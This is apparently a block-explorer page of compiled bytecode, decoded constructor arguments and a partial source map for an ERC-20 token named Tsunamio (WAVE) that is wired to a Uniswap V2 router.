a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611360576064600354856112999190611f5b565b6112a39190611fe4565b915081846112b19190611d63565b935081600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113029190611d63565b9250508190555081600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113589190611f27565b925050819055505b83600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113af9190611d63565b9250508190555083600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114059190611f27565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114699190611afc565b60405180910390a3600c60009054906101000a900460ff166114fb5761148d610693565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16146114fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f190612087565b60405180910390fd5b5b5050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826115df9190611fe4565b905060004790506115f08230611611565b600081476115fe9190611d63565b905061160b838230611850565b50505050565b6000600267ffffffffffffffff81111561162e5761162d6120a7565b5b60405190808252806020026020018201604052801561165c5781602001602082028036833780820191505090505b5090503081600081518110611674576116736120d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611719573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061173d919061211a565b81600181518110611751576117506120d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117b6307f0000000000000000000000000000000000000000000000000000000000000000856109b9565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b8152600401611819959493929190612240565b600060405180830381600087803b15801561183357600080fd5b505af1158015611847573d6000803e3d6000fd5b50505050505050565b61187b307f0000000000000000000000000000000000000000000000000000000000000000856109b9565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b81526004016118e19695949392919061229a565b60606040518083038185885af11580156118ff573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119249190612310565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561196657808201518184015260208101905061194b565b60008484015250505050565b6000601f19601f8301169050919050565b600061198e8261192c565b6119988185611937565b93506119a8818560208601611948565b6119b181611972565b840191505092915050565b600060208201905081810360008301526119d68184611983565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a0e826119e3565b9050919050565b611a1e81611a03565b8114611a2957600080fd5b50565b600081359050611a3b81611a15565b92915050565b6000819050919050565b611a5481611a41565b8114611a5f57600080fd5b50565b600081359050611a7181611a4b565b92915050565b60008060408385031215611a8e57611a8d6119de565b5b6000611a9c85828601611a2c565b9250506020611aad85828601611a62565b9150509250929050565b60008115159050919050565b611acc81611ab7565b82525050565b6000602082019050611ae76000830184611ac3565b92915050565b611af681611a41565b82525050565b6000602082019050611b116000830184611aed565b92915050565b600080600060608486031215611b3057611b2f6119de565b5b6000611b3e86828701611a2c565b9350506020611b4f86828701611a2c565b9250506040611b6086828701611a62565b9150509250925092565b6000819050919050565b6000611b8f611b8a611b85846119e3565b611b6a565b6119e3565b9050919050565b6000611ba182611b74565b9050919050565b6000611bb382611b96565b9050919050565b611bc381611ba8565b82525050565b6000602082019050611bde6000830184611bba565b92915050565b600060208284031215611bfa57611bf96119de565b5b6000611c0884828501611a2c565b91505092915050565b611c1a81611a03565b82525050565b6000602082019050611c356000830184611c11565b92915050565b60008060408385031215611c5257611c516119de565b5b6000611c6085828601611a2c565b9250506020611c7185828601611a2c565b9150509250929050565b611c8481611ab7565b8114611c8f57600080fd5b50565b600081359050611ca181611c7b565b92915050565b600060208284031215611cbd57611cbc6119de565b5b6000611ccb84828501611c92565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d1b57607f821691505b602082108103611d2e57611d2d611cd4565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d6e82611a41565b9150611d7983611a41565b9250828203905081811115611d9157611d90611d34565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611dcd602083611937565b9150611dd882611d97565b602082019050919050565b60006020820190508181036000830152611dfc81611dc0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e5f602683611937565b9150611e6a82611e03565b604082019050919050565b60006020820190508181036000830152611e8e81611e52565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ef1602483611937565b9150611efc82611e95565b604082019050919050565b60006020820190508181036000830152611f2081611ee4565b9050919050565b6000611f3282611a41565b9150611f3d83611a41565b9250828201905080821115611f5557611f54611d34565b5b92915050565b6000611f6682611a41565b9150611f7183611a41565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611faa57611fa9611d34565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611fef82611a41565b9150611ffa83611a41565b92508261200a57612009611fb5565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612071603f83611937565b915061207c82612015565b604082019050919050565b600060208201905081810360008301526120a081612064565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061211481611a15565b92915050565b6000602082840312156121305761212f6119de565b5b600061213e84828501612105565b91505092915050565b6000819050919050565b600061216c61216761216284612147565b611b6a565b611a41565b9050919050565b61217c81612151565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6121b781611a03565b82525050565b60006121c983836121ae565b60208301905092915050565b6000602082019050919050565b60006121ed82612182565b6121f7818561218d565b93506122028361219e565b8060005b8381101561223357815161221a88826121bd565b9750612225836121d5565b925050600181019050612206565b5085935050505092915050565b600060a0820190506122556000830188611aed565b6122626020830187612173565b818103604083015261227481866121e2565b90506122836060830185611c11565b6122906080830184611aed565b9695505050505050565b600060c0820190506122af6000830189611c11565b6122bc6020830188611aed565b6122c96040830187612173565b6122d66060830186612173565b6122e36080830185611c11565b6122f060a0830184611aed565b979650505050505050565b60008151905061230a81611a4b565b92915050565b600080600060608486031215612329576123286119de565b5b6000612337868287016122fb565b9350506020612348868287016122fb565b9250506040612359868287016122fb565b915050925092509256fea264697066735822122093cfd21939d86369afd6b1c85d2840202510b600f16ffa112119a1f3f6c1919164736f6c63430008100033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000000000000000000000000000000000000000000085473756e616d696f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045741564500000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101025760003560e01c80638da5cb5b11610095578063dd62ed3e11610064578063dd62ed3e14610346578063dfb8aa6114610383578063e2f45605146103ae578063f275f64b146103d9578063f2fde38b1461040257610109565b80638da5cb5b1461028857806395d89b41146102b357806399c4e512146102de578063a9059cbb1461030957610109565b8063313ce567116100d1578063313ce567146101de578063471a65c41461020957806370a0823114610234578063715018a61461027157610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b5061012361042b565b60405161013091906119bc565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190611a77565b6104bd565b60405161016d9190611ad2565b60405180910390f35b34801561018257600080fd5b5061018b6104d2565b6040516101989190611afc565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190611b17565b6104dc565b6040516101d59190611ad2565b60405180910390f35b3480156101ea57600080fd5b506101f3610584565b6040516102009190611afc565b60405180910390f35b34801561021557600080fd5b5061021e61059e565b60405161022b9190611bc9565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190611be4565b6105c2565b6040516102689190611afc565b60405180910390f35b34801561027d57600080fd5b5061028661060b565b005b34801561029457600080fd5b5061029d610693565b6040516102aa9190611c20565b60405180910390f35b3480156102bf57600080fd5b506102c86106bc565b6040516102d591906119bc565b60405180910390f35b3480156102ea57600080fd5b506102f361074e565b6040516103009190611afc565b60405180910390f35b34801561031557600080fd5b50610330600480360381019061032b9190611a77565b610754565b60405161033d9190611ad2565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190611c3b565b61076b565b60405161037a9190611afc565b60405180910390f35b34801561038f57600080fd5b506103986107f2565b6040516103a59190611c20565b60405180910390f35b3480156103ba57600080fd5b506103c3610816565b6040516103d09190611ad2565b60405180910390f35b3480156103e557600080fd5b5061040060048036038101906103fb9190611ca7565b610829565b005b34801561040e57600080fd5b5061042960048036038101906104249190611be4565b6108c2565b005b60606002805461043a90611d03565b80601f016020809104026020016040519081016040528092919081815260200182805461046690611d03565b80156104b35780601f10610488576101008083540402835291602001916104b3565b820191906000526020600020905b81548152906001019060200180831161049657829003601f168201915b5050505050905090565b60006104ca3384846109b9565b905092915050565b6000600554905090565b60006104e9848484610b54565b61057b843384600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105769190611d63565b6109b9565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610613611504565b73ffffffffffffffffffffffffffffffffffffffff16610631610693565b73ffffffffffffffffffffffffffffffffffffffff1614610687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067e90611de3565b60405180910390fd5b610691600061150c565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546106cb90611d03565b80601f01602080910402602001604051908101604052809291908181526020018280546106f790611d03565b80156107445780601f1061071957610100808354040283529160200191610744565b820191906000526020600020905b81548152906001019060200180831161072757829003601f168201915b5050505050905090565b60035481565b6000610761338484610b54565b6001905092915050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7f0000000000000000000000001425c272c7e4627a7d4ef8260c140be10b36cd9a81565b600c60019054906101000a900460ff1681565b610831611504565b73ffffffffffffffffffffffffffffffffffffffff1661084f610693565b73ffffffffffffffffffffffffffffffffffffffff16146108a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089c90611de3565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b6108ca611504565b73ffffffffffffffffffffffffffffffffffffffff166108e8610693565b73ffffffffffffffffffffffffffffffffffffffff161461093e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093590611de3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490611e75565b60405180910390fd5b6109b68161150c565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a245750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5a90611f07565b60405180910390fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b419190611afc565b60405180910390a3600190509392505050565b6000610b5f306105c2565b90506000600c60019054906101000a900460ff168015610b80575060065482115b8015610b995750600c60029054906101000a900460ff16155b8015610bf157507f0000000000000000000000001425c272c7e4627a7d4ef8260c140be10b36cd9a73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610c3a576001600c60026101000a81548160ff021916908315150217905550610c1a826115d0565b6000600c60026101000a81548160ff02191690831515021790555061101f565b600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610cca5750600654600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d395782905080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d219190611f27565b92505081905550610d328385611611565b50506114ff565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610dd457506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610de1575060065483115b8015610e3957507f0000000000000000000000001425c272c7e4627a7d4ef8260c140be10b36cd9a73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610e895782600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050506114ff565b600c60029054906101000a900460ff16158015610ee557506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f3d57507f0000000000000000000000001425c272c7e4627a7d4ef8260c140be10b36cd9a73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f8857506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561101e57600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fda9190611d63565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600860007f0000000000000000000000001425c272c7e4627a7d4ef8260c140be10b36cd9a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361113157600654600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600860007f0000000000000000000000001425c272c7e4627a7d4ef8260c140be10b36cd9a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060035411801561122057506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112395750600c60029054906101000a900460ff16155b801561128457506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611360576064600354856112999190611f5b565b6112a39190611fe4565b915081846112b19190611d63565b935081600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113029190611d63565b9250508190555081600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113589190611f27565b925050819055505b83600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113af9190611d63565b9250508190555083600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114059190611f27565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114699190611afc565b60405180910390a3600c60009054906101000a900460ff166114fb5761148d610693565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16146114fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f190612087565b60405180910390fd5b5b5050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826115df9190611fe4565b905060004790506115f08230611611565b600081476115fe9190611d63565b905061160b838230611850565b50505050565b6000600267ffffffffffffffff81111561162e5761162d6120a7565b5b60405190808252806020026020018201604052801561165c5781602001602082028036833780820191505090505b5090503081600081518110611674576116736120d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611719573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061173d919061211a565b81600181518110611751576117506120d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117b6307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856109b9565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b8152600401611819959493929190612240565b600060405180830381600087803b15801561183357600080fd5b505af1158015611847573d6000803e3d6000fd5b50505050505050565b61187b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856109b9565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b81526004016118e19695949392919061229a565b60606040518083038185885af11580156118ff573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119249190612310565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561196657808201518184015260208101905061194b565b60008484015250505050565b6000601f19601f8301169050919050565b600061198e8261192c565b6119988185611937565b93506119a8818560208601611948565b6119b181611972565b840191505092915050565b600060208201905081810360008301526119d68184611983565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a0e826119e3565b9050919050565b611a1e81611a03565b8114611a2957600080fd5b50565b600081359050611a3b81611a15565b92915050565b6000819050919050565b611a5481611a41565b8114611a5f57600080fd5b50565b600081359050611a7181611a4b565b92915050565b60008060408385031215611a8e57611a8d6119de565b5b6000611a9c85828601611a2c565b9250506020611aad85828601611a62565b9150509250929050565b60008115159050919050565b611acc81611ab7565b82525050565b6000602082019050611ae76000830184611ac3565b92915050565b611af681611a41565b82525050565b6000602082019050611b116000830184611aed565b92915050565b600080600060608486031215611b3057611b2f6119de565b5b6000611b3e86828701611a2c565b9350506020611b4f86828701611a2c565b9250506040611b6086828701611a62565b9150509250925092565b6000819050919050565b6000611b8f611b8a611b85846119e3565b611b6a565b6119e3565b9050919050565b6000611ba182611b74565b9050919050565b6000611bb382611b96565b9050919050565b611bc381611ba8565b82525050565b6000602082019050611bde6000830184611bba565b92915050565b600060208284031215611bfa57611bf96119de565b5b6000611c0884828501611a2c565b91505092915050565b611c1a81611a03565b82525050565b6000602082019050611c356000830184611c11565b92915050565b60008060408385031215611c5257611c516119de565b5b6000611c6085828601611a2c565b9250506020611c7185828601611a2c565b9150509250929050565b611c8481611ab7565b8114611c8f57600080fd5b50565b600081359050611ca181611c7b565b92915050565b600060208284031215611cbd57611cbc6119de565b5b6000611ccb84828501611c92565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d1b57607f821691505b602082108103611d2e57611d2d611cd4565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d6e82611a41565b9150611d7983611a41565b9250828203905081811115611d9157611d90611d34565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611dcd602083611937565b9150611dd882611d97565b602082019050919050565b60006020820190508181036000830152611dfc81611dc0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e5f602683611937565b9150611e6a82611e03565b604082019050919050565b60006020820190508181036000830152611e8e81611e52565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ef1602483611937565b9150611efc82611e95565b604082019050919050565b60006020820190508181036000830152611f2081611ee4565b9050919050565b6000611f3282611a41565b9150611f3d83611a41565b9250828201905080821115611f5557611f54611d34565b5b92915050565b6000611f6682611a41565b9150611f7183611a41565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611faa57611fa9611d34565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611fef82611a41565b9150611ffa83611a41565b92508261200a57612009611fb5565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612071603f83611937565b915061207c82612015565b604082019050919050565b600060208201905081810360008301526120a081612064565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061211481611a15565b92915050565b6000602082840312156121305761212f6119de565b5b600061213e84828501612105565b91505092915050565b6000819050919050565b600061216c61216761216284612147565b611b6a565b611a41565b9050919050565b61217c81612151565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6121b781611a03565b82525050565b60006121c983836121ae565b60208301905092915050565b6000602082019050919050565b60006121ed82612182565b6121f7818561218d565b93506122028361219e565b8060005b8381101561223357815161221a88826121bd565b9750612225836121d5565b925050600181019050612206565b5085935050505092915050565b600060a0820190506122556000830188611aed565b6122626020830187612173565b818103604083015261227481866121e2565b90506122836060830185611c11565b6122906080830184611aed565b9695505050505050565b600060c0820190506122af6000830189611c11565b6122bc6020830188611aed565b6122c96040830187612173565b6122d66060830186612173565b6122e36080830185611c11565b6122f060a0830184611aed565b979650505050505050565b60008151905061230a81611a4b565b92915050565b600080600060608486031215612329576123286119de565b5b6000612337868287016122fb565b9350506020612348868287016122fb565b9250506040612359868287016122fb565b915050925092509256fea264697066735822122093cfd21939d86369afd6b1c85d2840202510b600f16ffa112119a1f3f6c1919164736f6c63430008100033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000000000000000000000000000000000000000000085473756e616d696f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045741564500000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): Tsunamio
Arg [1] : Symbol (string): WAVE
Arg [2] : UniswapV2routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 5473756e616d696f000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 5741564500000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

8167:6563:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9736:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10270:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9825:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10771:291;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9923:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8938:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10154:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7663:94;;;;;;;;;;;;;:::i;:::-;;7444:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9643;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8269:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11068:176;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10014:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8893:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8819:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14218:104;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7763:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9736:83;9773:13;9806:5;9799:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9736:83;:::o;10270:137::-;10338:4;10362:37;10371:10;10383:7;10392:6;10362:8;:37::i;:::-;10355:44;;10270:137;;;;:::o;9825:92::-;9869:7;9896:13;;9889:20;;9825:92;:::o;10771:291::-;10896:4;10913:53;10940:6;10948:9;10959:6;10913:18;:53::i;:::-;10984:70;10993:6;11001:10;11047:6;11013:11;:19;11025:6;11013:19;;;;;;;;;;;;;;;:31;11033:10;11013:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;10984:8;:70::i;:::-;10977:77;;10771:291;;;;;:::o;9923:85::-;9964:7;9991:9;;;;;;;;;;;9984:16;;;;9923:85;:::o;8938:51::-;;;:::o;10154:110::-;10211:7;10238:9;:18;10248:7;10238:18;;;;;;;;;;;;;;;;10231:25;;10154:110;;;:::o;7663:94::-;7588:12;:10;:12::i;:::-;7577:23;;:7;:5;:7::i;:::-;:23;;;7569:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7728:21:::1;7746:1;7728:9;:21::i;:::-;7663:94::o:0;7444:87::-;7490:7;7517:6;;;;;;;;;;;7510:13;;7444:87;:::o;9643:::-;9682:13;9715:7;9708:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9643:87;:::o;8269:31::-;;;;:::o;11068:176::-;11140:4;11157:57;11184:10;11196:9;11207:6;11157:18;:57::i;:::-;11232:4;11225:11;;11068:176;;;;:::o;10014:134::-;10086:7;10113:11;:18;10125:5;10113:18;;;;;;;;;;;;;;;:27;10132:7;10113:27;;;;;;;;;;;;;;;